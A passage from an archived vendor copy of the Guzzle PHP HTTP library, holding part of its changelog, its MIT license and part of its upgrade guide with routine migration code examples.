* Bug: Cookies can now be added that have a name, domain, or value set to "0"
* Bug: Using the system cacert bundle when using the Phar
* Added json and xml methods to Response to make it easier to parse JSON and XML response data into data structures
* Enhanced cookie jar de-duplication
* Added the ability to enable strict cookie jars that throw exceptions when invalid cookies are added
* Added setStream to StreamInterface to actually make it possible to implement custom rewind behavior for entity bodies
* Added the ability to create any sort of hash for a stream rather than just an MD5 hash

## 3.0.3 - 2012-11-04

* Implementing redirects in PHP rather than cURL
* Added PECL URI template extension and using as default parser if available
* Bug: Fixed Content-Length parsing of Response factory
* Adding rewind() method to entity bodies and streams. Allows for custom rewinding of non-repeatable streams.
* Adding ToArrayInterface throughout library
* Fixing OauthPlugin to create unique nonce values per request

## 3.0.2 - 2012-10-25

* Magic methods are enabled by default on clients
* Magic methods return the result of a command
* Service clients no longer require a base_url option in the factory
* Bug: Fixed an issue with URI templates where null template variables were being expanded

## 3.0.1 - 2012-10-22

* Models can now be used like regular collection objects by calling filter, map, etc.
* Models no longer require a Parameter structure or initial data in the constructor
* Added a custom AppendIterator to get around a PHP bug with the `\AppendIterator`

## 3.0.0 - 2012-10-15

* Rewrote service description format to be based on Swagger
    * Now based on JSON schema
    * Added nested input structures and nested response models
    * Support for JSON and XML input and output models
    * Renamed `commands` to `operations`
    * Removed dot class notation
    * Removed custom types
* Broke the project into smaller top-level namespaces to be more component friendly
* Removed support for XML configs and descriptions. Use arrays or JSON files.
* Removed the Validation component and Inspector
* Moved all cookie code to Guzzle\Plugin\Cookie
* Magic methods on a Guzzle\Service\Client now return the command un-executed.
* Calling getResult() or getResponse() on a command will lazily execute the command if needed.
* Now shipping with cURL's CA certs and using it by default
* Added previousResponse() method to response objects
* No longer sending Accept and Accept-Encoding headers on every request
* Only sending an Expect header by default when a payload is greater than 1MB
* Added/moved client options:
    * curl.blacklist to curl.option.blacklist
    * Added ssl.certificate_authority
* Added a Guzzle\Iterator component
* Moved plugins from Guzzle\Http\Plugin to Guzzle\Plugin
* Added a more robust backoff retry strategy (replaced the ExponentialBackoffPlugin)
* Added a more robust caching plugin
* Added setBody to response objects
* Updating LogPlugin to use a more flexible MessageFormatter
* Added a completely revamped build process
* Cleaning up Collection class and removing default values from the get method
* Fixed ZF2 cache adapters

## 2.8.8 - 2012-10-15

* Bug: Fixed a cookie issue that caused dot prefixed domains to not match where popular browsers did

## 2.8.7 - 2012-09-30

* Bug: Fixed config file aliases for JSON includes
* Bug: Fixed cookie bug on a request object by using CookieParser to parse cookies on requests
* Bug: Removing the path to a file when sending a Content-Disposition header on a POST upload
* Bug: Hardening request and response parsing to account for missing parts
* Bug: Fixed PEAR packaging
* Bug: Fixed Request::getInfo
* Bug: Fixed cases where CURLM_CALL_MULTI_PERFORM return codes were causing curl transactions to fail
* Adding the ability for the namespace Iterator factory to look in multiple directories
* Added more getters/setters/removers from service descriptions
* Added the ability to remove POST fields from OAuth signatures
* OAuth plugin now supports 2-legged OAuth

## 2.8.6 - 2012-09-05

* Added the ability to modify and build service descriptions
* Added the use of visitors to apply parameters to locations in service descriptions using the dynamic command
* Added a `json` parameter location
* Now allowing dot notation for classes in the CacheAdapterFactory
* Using the union of two arrays rather than an array_merge when extending service builder services and service params
* Ensuring that a service is a string before doing strpos() checks on it when substituting services for references
  in service builder config files.
* Services defined in two different config files that include one another will by default replace the previously
  defined service, but you can now create services that extend themselves and merge their settings over the previous
* The JsonLoader now supports aliasing filenames with different filenames. This allows you to alias something like
  '_default' with a default JSON configuration file.

## 2.8.5 - 2012-08-29

* Bug: Suppressed empty arrays from URI templates
* Bug: Added the missing $options argument from ServiceDescription::factory to enable caching
* Added support for HTTP responses that do not contain a reason phrase in the start-line
* AbstractCommand commands are now invokable
* Added a way to get the data used when signing an Oauth request before a request is sent

## 2.8.4 - 2012-08-15

* Bug: Custom delay time calculations are no longer ignored in the ExponentialBackoffPlugin
* Added the ability to transfer entity bodies as a string rather than streamed. This gets around curl error 65. Set `body_as_string` in a request's curl options to enable.
* Added a StreamInterface, EntityBodyInterface, and added ftell() to Guzzle\Common\Stream
* Added an AbstractEntityBodyDecorator and a ReadLimitEntityBody decorator to transfer only a subset of a decorated stream
* Stream and EntityBody objects will now return the file position to the previous position after a read required operation (e.g. getContentMd5())
* Added additional response status codes
* Removed SSL information from the default User-Agent header
* DELETE requests can now send an entity body
* Added an EventDispatcher to the ExponentialBackoffPlugin and added an ExponentialBackoffLogger to log backoff retries
* Added the ability of the MockPlugin to consume mocked request bodies
* LogPlugin now exposes request and response objects in the extras array

## 2.8.3 - 2012-07-30

* Bug: Fixed a case where empty POST requests were sent as GET requests
* Bug: Fixed a bug in ExponentialBackoffPlugin that caused fatal errors when retrying an EntityEnclosingRequest that does not have a body
* Bug: Setting the response body of a request to null after completing a request, not when setting the state of a request to new
* Added multiple inheritance to service description commands
* Added an ApiCommandInterface and added `getParamNames()` and `hasParam()`
* Removed the default 2mb size cutoff from the Md5ValidatorPlugin so that it now defaults to validating everything
* Changed CurlMulti::perform to pass a smaller timeout to CurlMulti::executeHandles

## 2.8.2 - 2012-07-24

* Bug: Query string values set to 0 are no longer dropped from the query string
* Bug: A Collection object is no longer created each time a call is made to `Guzzle\Service\Command\AbstractCommand::getRequestHeaders()`
* Bug: `+` is now treated as an encoded space when parsing query strings
* QueryString and Collection performance improvements
* Allowing dot notation for class paths in filters attribute of a service descriptions

## 2.8.1 - 2012-07-16

* Loosening Event Dispatcher dependency
* POST redirects can now be customized using CURLOPT_POSTREDIR

## 2.8.0 - 2012-07-15

* BC: Guzzle\Http\Query
    * Query strings with empty variables will always show an equal sign unless the variable is set to QueryString::BLANK (e.g. ?acl= vs ?acl)
    * Changed isEncodingValues() and isEncodingFields() to isUrlEncoding()
    * Changed setEncodeValues(bool) and setEncodeFields(bool) to useUrlEncoding(bool)
    * Changed the aggregation functions of QueryString to be static methods
    * Can now use fromString() with querystrings that have a leading ?
* cURL configuration values can be specified in service descriptions using `curl.` prefixed parameters
* Content-Length is set to 0 before emitting the request.before_send event when sending an empty request body
* Cookies are no longer URL decoded by default
* Bug: URI template variables set to null are no longer expanded

## 2.7.2 - 2012-07-02

* BC: Moving things to get ready for subtree splits. Moving Inflection into Common. Moving Guzzle\Http\Parser to Guzzle\Parser.
* BC: Removing Guzzle\Common\Batch\Batch::count() and replacing it with isEmpty()
* CachePlugin now allows for a custom request parameter function to check if a request can be cached
* Bug fix: CachePlugin now only caches GET and HEAD requests by default
* Bug fix: Using header glue when transferring headers over the wire
* Allowing deeply nested arrays for composite variables in URI templates
* Batch divisors can now return iterators or arrays

## 2.7.1 - 2012-06-26

* Minor patch to update version number in UA string
* Updating build process

## 2.7.0 - 2012-06-25

* BC: Inflection classes moved to Guzzle\Inflection. No longer static methods. Can now inject custom inflectors into classes.
* BC: Removed magic setX methods from commands
* BC: Magic methods mapped to service description commands are now inflected in the command factory rather than the client __call() method
* Verbose cURL options are no longer enabled by default. Set curl.debug to true on a client to enable.
* Bug: Now allowing colons in a response start-line (e.g. HTTP/1.1 503 Service Unavailable: Back-end server is at capacity)
* Guzzle\Service\Resource\ResourceIteratorApplyBatched now internally uses the Guzzle\Common\Batch namespace
* Added Guzzle\Service\Plugin namespace and a PluginCollectionPlugin
* Added the ability to set POST fields and files in a service description
* Guzzle\Http\EntityBody::factory() now accepts objects with a __toString() method
* Adding a command.before_prepare event to clients
* Added BatchClosureTransfer and BatchClosureDivisor
* BatchTransferException now includes references to the batch divisor and transfer strategies
* Fixed some tests so that they pass more reliably
* Added Guzzle\Common\Log\ArrayLogAdapter

## 2.6.6 - 2012-06-10

* BC: Removing Guzzle\Http\Plugin\BatchQueuePlugin
* BC: Removing Guzzle\Service\Command\CommandSet
* Adding generic batching system (replaces the batch queue plugin and command set)
* Updating ZF cache and log adapters and now using ZF's composer repository
* Bug: Setting the name of each ApiParam when creating through an ApiCommand
* Adding result_type, result_doc, deprecated, and doc_url to service descriptions
* Bug: Changed the default cookie header casing back to 'Cookie'

## 2.6.5 - 2012-06-03

* BC: Renaming Guzzle\Http\Message\RequestInterface::getResourceUri() to getResource()
* BC: Removing unused AUTH_BASIC and AUTH_DIGEST constants from
* BC: Guzzle\Http\Cookie is now used to manage Set-Cookie data, not Cookie data
* BC: Renaming methods in the CookieJarInterface
* Moving almost all cookie logic out of the CookiePlugin and into the Cookie or CookieJar implementations
* Making the default glue for HTTP headers ';' instead of ','
* Adding a removeValue to Guzzle\Http\Message\Header
* Adding getCookies() to request interface.
* Making it easier to add event subscribers to HasDispatcherInterface classes. Can now directly call addSubscriber()

## 2.6.4 - 2012-05-30

* BC: Cleaning up how POST files are stored in EntityEnclosingRequest objects. Adding PostFile class.
* BC: Moving ApiCommand specific functionality from the Inspector and on to the ApiCommand
* Bug: Fixing magic method command calls on clients
* Bug: Email constraint only validates strings
* Bug: Aggregate POST fields when POST files are present in curl handle
* Bug: Fixing default User-Agent header
* Bug: Only appending or prepending parameters in commands if they are specified
* Bug: Not requiring response reason phrases or status codes to match a predefined list of codes
* Allowing the use of dot notation for class namespaces when using instance_of constraint
* Added any_match validation constraint
* Added an AsyncPlugin
* Passing request object to the calculateWait method of the ExponentialBackoffPlugin
* Allowing the result of a command object to be changed
* Parsing location and type sub values when instantiating a service description rather than over and over at runtime

## 2.6.3 - 2012-05-23

* [BC] Guzzle\Common\FromConfigInterface no longer requires any config options.
* [BC] Refactoring how POST files are stored on an EntityEnclosingRequest. They are now separate from POST fields.
* You can now use an array of data when creating PUT request bodies in the request factory.
* Removing the requirement that HTTPS requests needed a Cache-Control: public directive to be cacheable.
* [Http] Adding support for Content-Type in multipart POST uploads per upload
* [Http] Added support for uploading multiple files using the same name (foo[0], foo[1])
* Adding more POST data operations for easier manipulation of POST data.
* You can now set empty POST fields.
* The body of a request is only shown on EntityEnclosingRequest objects that do not use POST files.
* Split the Guzzle\Service\Inspector::validateConfig method into two methods. One to initialize when a command is created, and one to validate.
* CS updates

## 2.6.2 - 2012-05-19

* [Http] Better handling of nested scope requests in CurlMulti.  Requests are now always prepares in the send() method rather than the addRequest() method.

## 2.6.1 - 2012-05-19

* [BC] Removing 'path' support in service descriptions.  Use 'uri'.
* [BC] Guzzle\Service\Inspector::parseDocBlock is now protected. Adding getApiParamsForClass() with cache.
* [BC] Removing Guzzle\Common\NullObject.  Use https://github.com/mtdowling/NullObject if you need it.
* [BC] Removing Guzzle\Common\XmlElement.
* All commands, both dynamic and concrete, have ApiCommand objects.
* Adding a fix for CurlMulti so that if all of the connections encounter some sort of curl error, then the loop exits.
* Adding checks to EntityEnclosingRequest so that empty POST files and fields are ignored.
* Making the method signature of Guzzle\Service\Builder\ServiceBuilder::factory more flexible.

## 2.6.0 - 2012-05-15

* [BC] Moving Guzzle\Service\Builder to Guzzle\Service\Builder\ServiceBuilder
* [BC] Executing a Command returns the result of the command rather than the command
* [BC] Moving all HTTP parsing logic to Guzzle\Http\Parsers. Allows for faster C implementations if needed.
* [BC] Changing the Guzzle\Http\Message\Response::setProtocol() method to accept a protocol and version in separate args.
* [BC] Moving ResourceIterator* to Guzzle\Service\Resource
* [BC] Completely refactored ResourceIterators to iterate over a cloned command object
* [BC] Moved Guzzle\Http\UriTemplate to Guzzle\Http\Parser\UriTemplate\UriTemplate
* [BC] Guzzle\Guzzle is now deprecated
* Moving Guzzle\Common\Guzzle::inject to Guzzle\Common\Collection::inject
* Adding Guzzle\Version class to give version information about Guzzle
* Adding Guzzle\Http\Utils class to provide getDefaultUserAgent() and getHttpDate()
* Adding Guzzle\Curl\CurlVersion to manage caching curl_version() data
* ServiceDescription and ServiceBuilder are now cacheable using similar configs
* Changing the format of XML and JSON service builder configs.  Backwards compatible.
* Cleaned up Cookie parsing
* Trimming the default Guzzle User-Agent header
* Adding a setOnComplete() method to Commands that is called when a command completes
* Keeping track of requests that were mocked in the MockPlugin
* Fixed a caching bug in the CacheAdapterFactory
* Inspector objects can be injected into a Command object
* Refactoring a lot of code and tests to be case insensitive when dealing with headers
* Adding Guzzle\Http\Message\HeaderComparison for easy comparison of HTTP headers using a DSL
* Adding the ability to set global option overrides to service builder configs
* Adding the ability to include other service builder config files from within XML and JSON files
* Moving the parseQuery method out of Url and on to QueryString::fromString() as a static factory method.

## 2.5.0 - 2012-05-08

* Major performance improvements
* [BC] Simplifying Guzzle\Common\Collection.  Please check to see if you are using features that are now deprecated.
* [BC] Using a custom validation system that allows a flyweight implementation for much faster validation. No longer using Symfony2 Validation component.
* [BC] No longer supporting "{{ }}" for injecting into command or UriTemplates.  Use "{}"
* Added the ability to passed parameters to all requests created by a client
* Added callback functionality to the ExponentialBackoffPlugin
* Using microtime in ExponentialBackoffPlugin to allow more granular backoff strategies.
* Rewinding request stream bodies when retrying requests
* Exception is thrown when JSON response body cannot be decoded
* Added configurable magic method calls to clients and commands.  This is off by default.
* Fixed a defect that added a hash to every parsed URL part
* Fixed duplicate none generation for OauthPlugin.
* Emitting an event each time a client is generated by a ServiceBuilder
* Using an ApiParams object instead of a Collection for parameters of an ApiCommand
* cache.* request parameters should be renamed to params.cache.*
* Added the ability to set arbitrary curl options on requests (disable_wire, progress, etc.). See CurlHandle.
* Added the ability to disable type validation of service descriptions
* ServiceDescriptions and ServiceBuilders are now Serializable
PK
h�\�Շ��� vendor/guzzlehttp/guzzle/LICENSEnu�[���The MIT License (MIT)

Copyright (c) 2011 Michael Dowling <mtdowling@gmail.com>
Copyright (c) 2012 Jeremy Lindblom <jeremeamia@gmail.com>
Copyright (c) 2014 Graham Campbell <hello@gjcampbell.co.uk>
Copyright (c) 2015 Márk Sági-Kazár <mark.sagikazar@gmail.com>
Copyright (c) 2015 Tobias Schultze <webmaster@tubo-world.de>
Copyright (c) 2016 Tobias Nyholm <tobias.nyholm@gmail.com>
Copyright (c) 2016 George Mponos <gmponos@gmail.com>

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
PK
h�\��y�y�%vendor/guzzlehttp/guzzle/UPGRADING.mdnu�[���Guzzle Upgrade Guide
====================

6.0 to 7.0
----------

In order to take advantage of the new features of PHP, Guzzle dropped the support
of PHP 5. The minimum supported PHP version is now PHP 7.2. Type hints and return
types for functions and methods have been added wherever possible. 

Please make sure:
- You are calling a function or a method with the correct type.
- If you extend a class of Guzzle; update all signatures on methods you override.

#### Other backwards compatibility breaking changes

- Class `GuzzleHttp\UriTemplate` is removed.
- Class `GuzzleHttp\Exception\SeekException` is removed.
- Classes `GuzzleHttp\Exception\BadResponseException`, `GuzzleHttp\Exception\ClientException`, 
  `GuzzleHttp\Exception\ServerException` can no longer be initialized with an empty
  Response as argument.
- Class `GuzzleHttp\Exception\ConnectException` now extends `GuzzleHttp\Exception\TransferException`
  instead of `GuzzleHttp\Exception\RequestException`.
- Function `GuzzleHttp\Exception\ConnectException::getResponse()` is removed.
- Function `GuzzleHttp\Exception\ConnectException::hasResponse()` is removed.
- Constant `GuzzleHttp\ClientInterface::VERSION` is removed. Added `GuzzleHttp\ClientInterface::MAJOR_VERSION` instead.
- Function `GuzzleHttp\Exception\RequestException::getResponseBodySummary` is removed.
  Use `\GuzzleHttp\Psr7\get_message_body_summary` as an alternative.
- Function `GuzzleHttp\Cookie\CookieJar::getCookieValue` is removed.
- Request option `exceptions` is removed. Please use `http_errors`.
- Request option `save_to` is removed. Please use `sink`.
- Pool option `pool_size` is removed. Please use `concurrency`.
- We now look for environment variables in the `$_SERVER` super global, due to thread safety issues with `getenv`. We continue to fallback to `getenv` in CLI environments, for maximum compatibility.
- The `get`, `head`, `put`, `post`, `patch`, `delete`, `getAsync`, `headAsync`, `putAsync`, `postAsync`, `patchAsync`, and `deleteAsync` methods are now implemented as genuine methods on `GuzzleHttp\Client`, with strong typing. The original `__call` implementation remains unchanged for now, for maximum backwards compatibility, but won't be invoked under normal operation.
- The `log` middleware will log the errors with level `error` instead of `notice` 
- Support for international domain names (IDN) is now disabled by default, and enabling it requires installing ext-intl, linked against a modern version of the C library (ICU 4.6 or higher).

#### Native functions calls

All internal native functions calls of Guzzle are now prefixed with a slash. This
change makes it impossible for method overloading by other libraries or applications.
Example:

```php
// Before:
curl_version();

// After:
\curl_version();
```

For the full diff you can check [here](https://github.com/guzzle/guzzle/compare/6.5.4..master).

5.0 to 6.0
----------

Guzzle now uses [PSR-7](https://www.php-fig.org/psr/psr-7/) for HTTP messages.
Due to the fact that these messages are immutable, this prompted a refactoring
of Guzzle to use a middleware based system rather than an event system. Any
HTTP message interaction (e.g., `GuzzleHttp\Message\Request`) need to be
updated to work with the new immutable PSR-7 request and response objects. Any
event listeners or subscribers need to be updated to become middleware
functions that wrap handlers (or are injected into a
`GuzzleHttp\HandlerStack`).

- Removed `GuzzleHttp\BatchResults`
- Removed `GuzzleHttp\Collection`
- Removed `GuzzleHttp\HasDataTrait`
- Removed `GuzzleHttp\ToArrayInterface`
- The `guzzlehttp/streams` dependency has been removed. Stream functionality
  is now present in the `GuzzleHttp\Psr7` namespace provided by the
  `guzzlehttp/psr7` package.
- Guzzle no longer uses ReactPHP promises and now uses the
  `guzzlehttp/promises` library. We use a custom promise library for three
  significant reasons:
  1. React promises (at the time of writing this) are recursive. Promise
     chaining and promise resolution will eventually blow the stack. Guzzle
     promises are not recursive as they use a sort of trampolining technique.
     Note: there has been movement in the React project to modify promises to
     no longer utilize recursion.
  2. Guzzle needs to have the ability to synchronously block on a promise to
     wait for a result. Guzzle promises allows this functionality (and does
     not require the use of recursion).
  3. Because we need to be able to wait on a result, doing so using React
     promises requires wrapping react promises with RingPHP futures. This
     overhead is no longer needed, reducing stack sizes, reducing complexity,
     and improving performance.
- `GuzzleHttp\Mimetypes` has been moved to a function in
  `GuzzleHttp\Psr7\mimetype_from_extension` and
  `GuzzleHttp\Psr7\mimetype_from_filename`.
- `GuzzleHttp\Query` and `GuzzleHttp\QueryParser` have been removed. Query
  strings must now be passed into request objects as strings, or provided to
  the `query` request option when creating requests with clients. The `query`
  option uses PHP's `http_build_query` to convert an array to a string. If you
  need a different serialization technique, you will need to pass the query
  string in as a string. There are a couple helper functions that will make
  working with query strings easier: `GuzzleHttp\Psr7\parse_query` and
  `GuzzleHttp\Psr7\build_query`.
- Guzzle no longer has a dependency on RingPHP. Due to the use of a middleware
  system based on PSR-7, using RingPHP and it's middleware system as well adds
  more complexity than the benefits it provides. All HTTP handlers that were
  present in RingPHP have been modified to work directly with PSR-7 messages
  and placed in the `GuzzleHttp\Handler` namespace. This significantly reduces
  complexity in Guzzle, removes a dependency, and improves performance. RingPHP
  will be maintained for Guzzle 5 support, but will no longer be a part of
  Guzzle 6.
- As Guzzle now uses a middleware based systems the event system and RingPHP
  integration has been removed. Note: while the event system has been removed,
  it is possible to add your own type of event system that is powered by the
  middleware system.
  - Removed the `Event` namespace.
  - Removed the `Subscriber` namespace.
  - Removed `Transaction` class
  - Removed `RequestFsm`
  - Removed `RingBridge`
  - `GuzzleHttp\Subscriber\Cookie` is now provided by
    `GuzzleHttp\Middleware::cookies`
  - `GuzzleHttp\Subscriber\HttpError` is now provided by
    `GuzzleHttp\Middleware::httpError`
  - `GuzzleHttp\Subscriber\History` is now provided by
    `GuzzleHttp\Middleware::history`
  - `GuzzleHttp\Subscriber\Mock` is now provided by
    `GuzzleHttp\Handler\MockHandler`
  - `GuzzleHttp\Subscriber\Prepare` is now provided by
    `GuzzleHttp\PrepareBodyMiddleware`
  - `GuzzleHttp\Subscriber\Redirect` is now provided by
    `GuzzleHttp\RedirectMiddleware`
- Guzzle now uses `Psr\Http\Message\UriInterface` (implements in
  `GuzzleHttp\Psr7\Uri`) for URI support. `GuzzleHttp\Url` is now gone.
- Static functions in `GuzzleHttp\Utils` have been moved to namespaced
  functions under the `GuzzleHttp` namespace. This requires either a Composer
  based autoloader or you to include functions.php.
- `GuzzleHttp\ClientInterface::getDefaultOption` has been renamed to
  `GuzzleHttp\ClientInterface::getConfig`.
- `GuzzleHttp\ClientInterface::setDefaultOption` has been removed.
- The `json` and `xml` methods of response objects has been removed. With the
  migration to strictly adhering to PSR-7 as the interface for Guzzle messages,
  adding methods to message interfaces would actually require Guzzle messages
  to extend from PSR-7 messages rather then work with them directly.

## Migrating to middleware

The change to PSR-7 unfortunately required significant refactoring to Guzzle
due to the fact that PSR-7 messages are immutable. Guzzle 5 relied on an event
system from plugins. The event system relied on mutability of HTTP messages and
side effects in order to work. With immutable messages, you have to change your
workflow to become more about either returning a value (e.g., functional
middlewares) or setting a value on an object. Guzzle v6 has chosen the
functional middleware approach.

Instead of using the event system to listen for things like the `before` event,
you now create a stack based middleware function that intercepts a request on
the way in and the promise of the response on the way out. This is a much
simpler and more predictable approach than the event system and works nicely
with PSR-7 middleware. Due to the use of promises, the middleware system is
also asynchronous.

v5:

```php
use GuzzleHttp\Event\BeforeEvent;
$client = new GuzzleHttp\Client();
// Get the emitter and listen to the before event.
$client->getEmitter()->on('before', function (BeforeEvent $e) {
    // Guzzle v5 events relied on mutation
    $e->getRequest()->setHeader('X-Foo', 'Bar');
});
```

v6:

In v6, you can modify the request before it is sent using the `mapRequest`
middleware. The idiomatic way in v6 to modify the request/response lifecycle is
to setup a handler middleware stack up front and inject the handler into a
client.

```php
use GuzzleHttp\Middleware;
// Create a handler stack that has all of the default middlewares attached
$handler = GuzzleHttp\HandlerStack::create();
// Push the handler onto the handler stack
$handler->push(Middleware::mapRequest(function (RequestInterface $request) {
    // Notice that we have to return a request object
    return $request->withHeader('X-Foo', 'Bar');
}));
// Inject the handler into the client
$client = new GuzzleHttp\Client(['handler' => $handler]);
```

## POST Requests

This version added the [`form_params`](https://docs.guzzlephp.org/en/latest/request-options.html#form_params)
and `multipart` request options. `form_params` is an associative array of
strings or array of strings and is used to serialize an
`application/x-www-form-urlencoded` POST request. The
[`multipart`](https://docs.guzzlephp.org/en/latest/request-options.html#multipart)
option is now used to send a multipart/form-data POST request.

`GuzzleHttp\Post\PostFile` has been removed. Use the `multipart` option to add
POST files to a multipart/form-data request.

The `body` option no longer accepts an array to send POST requests. Please use
`multipart` or `form_params` instead.

The `base_url` option has been renamed to `base_uri`.

4.x to 5.0
----------

## Rewritten Adapter Layer

Guzzle now uses [RingPHP](https://ringphp.readthedocs.org/en/latest) to send
HTTP requests. The `adapter` option in a `GuzzleHttp\Client` constructor
is still supported, but it has now been renamed to `handler`. Instead of
passing a `GuzzleHttp\Adapter\AdapterInterface`, you must now pass a PHP
`callable` that follows the RingPHP specification.

## Removed Fluent Interfaces

[Fluent interfaces were removed](https://ocramius.github.io/blog/fluent-interfaces-are-evil/)
from the following classes:

- `GuzzleHttp\Collection`
- `GuzzleHttp\Url`
- `GuzzleHttp\Query`
- `GuzzleHttp\Post\PostBody`
- `GuzzleHttp\Cookie\SetCookie`

## Removed functions.php

Removed "functions.php", so that Guzzle is truly PSR-4 compliant. The following
functions can be used as replacements.

- `GuzzleHttp\json_decode` -> `GuzzleHttp\Utils::jsonDecode`
- `GuzzleHttp\get_path` -> `GuzzleHttp\Utils::getPath`
- `GuzzleHttp\Utils::setPath` -> `GuzzleHttp\set_path`
- `GuzzleHttp\Pool::batch` -> `GuzzleHttp\batch`. This function is, however,
  deprecated in favor of using `GuzzleHttp\Pool::batch()`.

The "procedural" global client has been removed with no replacement (e.g.,
`GuzzleHttp\get()`, `GuzzleHttp\post()`, etc.). Use a `GuzzleHttp\Client`
object as a replacement.

## `throwImmediately` has been removed

The concept of "throwImmediately" has been removed from exceptions and error
events. This control mechanism was used to stop a transfer of concurrent
requests from completing. This can now be handled by throwing the exception or
by cancelling a pool of requests or each outstanding future request
individually.

## headers event has been removed

Removed the "headers" event. This event was only useful for changing the
body a response once the headers of the response were known. You can implement
a similar behavior in a number of ways. One example might be to use a
FnStream that has access to the transaction being sent. For example, when the
first byte is written, you could check if the response headers match your
expectations, and if so, change the actual stream body that is being
written to.

## Updates to HTTP Messages

Removed the `asArray` parameter from
`GuzzleHttp\Message\MessageInterface::getHeader`. If you want to get a header
value as an array, then use the newly added `getHeaderAsArray()` method of
`MessageInterface`. This change makes the Guzzle interfaces compatible with
the PSR-7 interfaces.

3.x to 4.0
----------

## Overarching changes:

- Now requires PHP 5.4 or greater.
- No longer requires cURL to send requests.
- Guzzle no longer wraps every exception it throws. Only exceptions that are
  recoverable are now wrapped by Guzzle.
- Various namespaces have been removed or renamed.
- No longer requiring the Symfony EventDispatcher. A custom event dispatcher
  based on the Symfony EventDispatcher is
  now utilized in `GuzzleHttp\Event\EmitterInterface` (resulting in significant
  speed and functionality improvements).

Changes per Guzzle 3.x namespace are described below.

## Batch

The `Guzzle\Batch` namespace has been removed. This is best left to
third-parties to implement on top of Guzzle's core HTTP library.

## Cache

The `Guzzle\Cache` namespace has been removed. (Todo: No suitable replacement
has been implemented yet, but hoping to utilize a PSR cache interface).

## Common

- Removed all of the wrapped exceptions. It's better to use the standard PHP
  library for unrecoverable exceptions.
- `FromConfigInterface` has been removed.
- `Guzzle\Common\Version` has been removed. The VERSION constant can be found
  at `GuzzleHttp\ClientInterface::VERSION`.

### Collection

- `getAll` has been removed. Use `toArray` to convert a collection to an array.
- `inject` has been removed.
- `keySearch` has been removed.
- `getPath` no longer supports wildcard expressions. Use something better like
  JMESPath for this.
- `setPath` now supports appending to an existing array via the `[]` notation.

### Events

Guzzle no longer requires Symfony's EventDispatcher component. Guzzle now uses
`GuzzleHttp\Event\Emitter`.

- `Symfony\Component\EventDispatcher\EventDispatcherInterface` is replaced by
  `GuzzleHttp\Event\EmitterInterface`.
- `Symfony\Component\EventDispatcher\EventDispatcher` is replaced by
  `GuzzleHttp\Event\Emitter`.
- `Symfony\Component\EventDispatcher\Event` is replaced by
  `GuzzleHttp\Event\Event`, and Guzzle now has an EventInterface in
  `GuzzleHttp\Event\EventInterface`.
- `AbstractHasDispatcher` has moved to a trait, `HasEmitterTrait`, and
  `HasDispatcherInterface` has moved to `HasEmitterInterface`. Retrieving the
  event emitter of a request, client, etc. now uses the `getEmitter` method
  rather than the `getDispatcher` method.

#### Emitter

- Use the `once()` method to add a listener that automatically removes itself
  the first time it is invoked.
- Use the `listeners()` method to retrieve a list of event listeners rather than
  the `getListeners()` method.
- Use `emit()` instead of `dispatch()` to emit an event from an emitter.
- Use `attach()` instead of `addSubscriber()` and `detach()` instead of
  `removeSubscriber()`.

```php
$mock = new Mock();
// 3.x
$request->getEventDispatcher()->addSubscriber($mock);
$request->getEventDispatcher()->removeSubscriber($mock);
// 4.x
$request->getEmitter()->attach($mock);
$request->getEmitter()->detach($mock);
```

Use the `on()` method to add a listener rather than the `addListener()` method.

```php
// 3.x
$request->getEventDispatcher()->addListener('foo', function (Event $event) { /* ... */ } );
// 4.x
$request->getEmitter()->on('foo', function (Event $event, $name) { /* ... */ } );
```

## Http

### General changes

- The cacert.pem certificate has been moved to `src/cacert.pem`.
- Added the concept of adapters that are used to transfer requests over the
  wire.
- Simplified the event system.
- Sending requests in parallel is still possible, but batching is no longer a
  concept of the HTTP layer. Instead, you must use the `complete` and `error`
  events to asynchronously manage parallel request transfers.
- `Guzzle\Http\Url` has moved to `GuzzleHttp\Url`.
- `Guzzle\Http\QueryString` has moved to `GuzzleHttp\Query`.
- QueryAggregators have been rewritten so that they are simply callable
  functions.
- `GuzzleHttp\StaticClient` has been removed. Use the functions provided in
  `functions.php` for an easy to use static client instance.
- Exceptions in `GuzzleHttp\Exception` have been updated to all extend from
  `GuzzleHttp\Exception\TransferException`.

### Client

Calling methods like `get()`, `post()`, `head()`, etc. no longer create and
return a request, but rather creates a request, sends the request, and returns
the response.

```php
// 3.0
$request = $client->get('/');
$response = $request->send();

// 4.0
$response = $client->get('/');

// or, to mirror the previous behavior
$request = $client->createRequest('GET', '/');
$response = $client->send($request);
```

`GuzzleHttp\ClientInterface` has changed.

- The `send` method no longer accepts more than one request. Use `sendAll` to
  send multiple requests in parallel.
- `setUserAgent()` has been removed. Use a default request option instead. You
  could, for example, do something like:
  `$client->setConfig('defaults/headers/User-Agent', 'Foo/Bar ' . $client::getDefaultUserAgent())`.
- `setSslVerification()` has been removed. Use default request options instead,
  like `$client->setConfig('defaults/verify', true)`.

`GuzzleHttp\Client` has changed.

- The constructor now accepts only an associative array. You can include a
  `base_url` string or array to use a URI template as the base URL of a client.
  You can also specify a `defaults` key that is an associative array of default
  request options. You can pass an `adapter` to use a custom adapter,
  `batch_adapter` to use a custom adapter for sending requests in parallel, or
  a `message_factory` to change the factory used to create HTTP requests and
  responses.
- The client no longer emits a `client.create_request` event.
- Creating requests with a client no longer automatically utilize a URI
  template. You must pass an array into a creational method (e.g.,
  `createRequest`, `get`, `put`, etc.) in order to expand a URI template.

### Messages

Messages no longer have references to their counterparts (i.e., a request no
longer has a reference to it's response, and a response no loger has a
reference to its request). This association is now managed through a
`GuzzleHttp\Adapter\TransactionInterface` object. You can get references to
these transaction objects using request events that are emitted over the
lifecycle of a request.

#### Requests with a body

